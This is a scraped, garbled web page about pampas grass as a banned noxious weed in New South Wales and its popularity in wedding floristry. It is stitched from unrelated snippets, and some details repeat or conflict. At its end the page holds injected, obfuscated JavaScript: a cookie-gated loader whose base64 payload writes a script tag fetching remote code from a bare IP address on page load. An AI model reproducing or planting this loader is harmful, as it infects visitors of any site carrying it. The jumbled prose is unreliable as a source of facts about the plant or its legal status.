NSW Distribution Map - Pampas grass. They are large attractive feathery, silvery plume-like panicle to 3 m tall and produce vast numbers of viable seed from each flower. However, there are some ideal conditions for best growth. Pampas grass (Cortaderia selloana) is a majestic large tussock grass from, as the name suggests, the pampas (grasslands) of South America.It’s quite a whopper: about 6 to 15 feet (2 to 4.5 m) in height and 3 to 8 feet (1 to 2.5 m) in diameter. Leaves contain silica which can irritate the eyes, nose, throat and lungs and are highly flammable when dry. Pampas Grass Wedding Ceremony Arbour, Photography by Koby Brown. Small plants can be hand pulled. It has numerous fluffy seedheads with sharp, cutting leaves 1-2m long. Caring For Pampas Grass. Flower heads occur in summer with each plume producing up to 100,000 seeds. To learn more, we teamed up with Jaala and Kelley of Bower Botanicals, the talented botanical artists behind Emma and Matt’s wedding florals. As a florist, it’s frustrating. It grows as a large tussock-forming grass up to several metres wide. The plants can produce up to100,000 seeds per flower head, and these seeds can spread to a 25 km radius in the wind. It has numerous fluffy seedheads with sharp, cutting leaves 1-2m long. 3. is it illegal to cut pampas grass. Also by using our beautiful seasonal blooms available rather than out-of-season varieties that need to be imported.”, “Obviously, using Australian-grown botanicals and foliage will dramatically reduce flower miles as well, and we have so many stunning varieties to be incorporated into floral designs. The plants are large tussock-forming grasses growing to a height of about 2 m with stems to 6 m. Lower Blue Mountains, Upper Blue Mountains. As such, the grass is banned in NSW. Pampas grass can infest mangroves, riverbanks, and heathlands. However, it’s not all doom and gloom—as we saw in Emma and Matt’s wedding, there are sustainable ways to source this controversial botanical specimen. Because of these reasons, Pampas Grass poses a huge threat to Australian forestry operations. Garden plants are often the source of new infestations. There are two species in NSW: Common pampas grass (Cortaderia selloana), which is up to 6 m tall when in flower. Pampas Grass is a very large, tussocky, perennial with leaves up to 1 metre long. It’s also a fire hazard and helps to harbour vermin (eek!). Bag seed heads. So, there you have it! A. Maguire. Under the Noxious Weeds Act 1993 all noxious weeds must be controlled. Pampas Grass was introduced into Australia in the late 19th century as an ornamental garden plant and was also used for stock fodder and as a wind break. The demand for pampas grass took off after images from this wedding went viral. “Initially, back in Dec 2016 when we were planning with Emma and Matt, we couldn’t easily locate any Australian-grown Pampas Grass as it really wasn’t all that popular for weddings at the time. Search ‘pampas grass’ on Pinterest and you’ll be inundated with images of how well it’s used to create height, texture and drama to wedding installations, often alongside dried palms (as featured above). Pampas Grass is a large, rhizomatous, perennial tussock grass up to 2 m wide and has tall plume-like spikes to 2-4 m high. The leaves are long, arching, and sharp edged with most of the tips held above the ground. We’ve seen it popping up in weddings right across the globe—and if you keep up with our real wedding features, you would have seen the incredible Pampas Grass installation enveloping Emma and Matt’s ceremony setting. When to Cut Back Pampas Grass. Pampas grass suffered bad press for a few years, following the trend of having them as lone plants in the middle of the lawn. It’s great to see such an influential local company doing their bit to spread the word and make a stand on environmental issues that affect us all.”. Soil Pampas grass is surprisingly self-sufficient, and can thrive in a wide variety of conditions. Recent wedding flower trends have seen a huge increase in the popularity of Pampas Grass. “It was a little stressful, as we were cutting it fine to get the product to Australia in time. Waiting until the end of winter allows you to enjoy the plumes all year. Biosecurity officers have raided florists on the north coast of New South Wales to seize an illegal noxious weed popularised by so-called Instagram weddings. 1. Is pampas grass poisonous to humans? This led us to research suppliers internationally and finally finding one in the USA who specialised in dried floral supplies,” explains Jaala. As Jaala and Kelley can attest, while Pampas Grass offers a beautiful addition to floral installations, there’s a lot more to consider. Pampas grass has also become popular in retail floral arrangements. Habit: clumping grass about 1 – 1.5 m across, with fluffy flower heads on tall stems, Flowers: white, pink or mauve, and present from mid-March to late May, Fruit: plants can produce up to 100,000 seeds per flower head, Dispersal: Wind spreads the seed. Pampas Grass Wedding Ceremony Arbour, Photography by Chris and Ruth. There's no such thing as legal pampas grass in NSW – no matter where it comes from or how it's been treated, it's illegal and anyone caught buying, selling or growing it can face a hefty fine. Has your little one come home asking for a dinosaur-themed party? Plus, there are big fines associated with using untreated Pampas Grass—not only for the florist or company using the product, but also for the client. When you buy from a local grower, their business flourishes and it creates more local business opportunities. Read in-depth answer here. There's no such thing as legal pampas grass in NSW – no matter where it comes from or how it's been treated, it's illegal and anyone caught buying, selling or growing it can face a hefty fine. Land managers mitigate the risk of the plant being introduced to their land. PRIMEFACT 697, PAMPAS GRASS Control Class 3 Control Class 4. So, if you’re the one getting married, that’s you! It’s not just a pretty plant; it’s a potential threat to our environment. Pampas Grass Nerja Rob November 4, 2011 January 10, 2019 Standing tall in the sun, gently wafting in the breeze or bending in the storm, Pampas Grass, Cortaderia selloana , can be found all over Spain, although in some areas it is considered an invasive weed … In recent years, we’ve seen a massive increase in the use of pampas grass at weddings. There are up to 100,000 seeds per flower head. The best time to cut back pampas grass is in late winter just before the plant begins sending up new foliage. The Noxious Weeds Act 1993 is an instrument serving the protection of our environment, general health of the community and agricultural production. The leaves grow to about 2 m long from a … So, not only do locally sourced varieties look beautiful in the context of their setting; but they can save costs and support the local community—talk about a double-win! Back to weed profile. Pampas grass, though widely available in florists worldwide, is actually an invasive noxious weed that threatens native Australian species, harbours vermin and presents a huge fire risk. All plants are regulated with a general biosecurity duty to prevent, eliminate or minimise any biosecurity risk they may pose. Your go-to guides for all of your celebration inspiration, Pampas Grass Wedding Ceremony Setting, Carlie Statsky Photography, Pampas Grass Wedding Ceremony Setting, Ivy Road Photography. This plant type prefers full sun, but will also do well with partial shade. Leaves are: finely serrated on the edges; dull green, upright and arched (common pampas) If seeds are accidentally introduced and a weed establishes, the plant becomes super competitive and restricts the growth of native plants. Since publishing the feature, together with the kind folk over at Byron Bay Weddings, we’ve uncovered some seriously scary insights about the use of Pampas Grass and the threat it poses to our natural environment. Land managers reduce the impact on priority assets. Every once in a while, clumps of pampas grass form smaller clumps off to the side. It grows to form large clumps that can become a fire hazard and harbour vermin such as rats. Pampas Grass Wedding Ceremony Decor, David Jenkins Photography. Manly Andrew 'Boy' Charlton Aquatic Centre. Lately, I have been seeing my social media feeds filled with this fluffy, feathery, natural grass, so eye catching, so beautiful, called pampas grass.It has been a floral trend that started overseas and it’s now hitting our shores. Agriculture and ecology bodies are very conscious of ensuring the area isn’t re-infected with this introduced species as it could cause major damage to the ecosystem—as are we.”, “As the Pampas Grass trend has really taken off in the floral—namely wedding—scene in Australia, it’s extremely important that we are using only product that has been imported or treated by way of irradiation, so that we continue to protect and preserve our beautiful natural environment.”. Any person who deals with any plant, who knows (or ought to know) of any biosecurity risk, has a duty to ensure the risk is prevented, eliminated or minimised, so far as is reasonably practicable. Pampas grasses can spread out via rhizomes. We still get regular enquiries from couples who love the look of pampas grass and want it for their weddings. Distribution. Particularly Mid to Lower Mountains. 4. Twitter; Facebook; Youtube *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('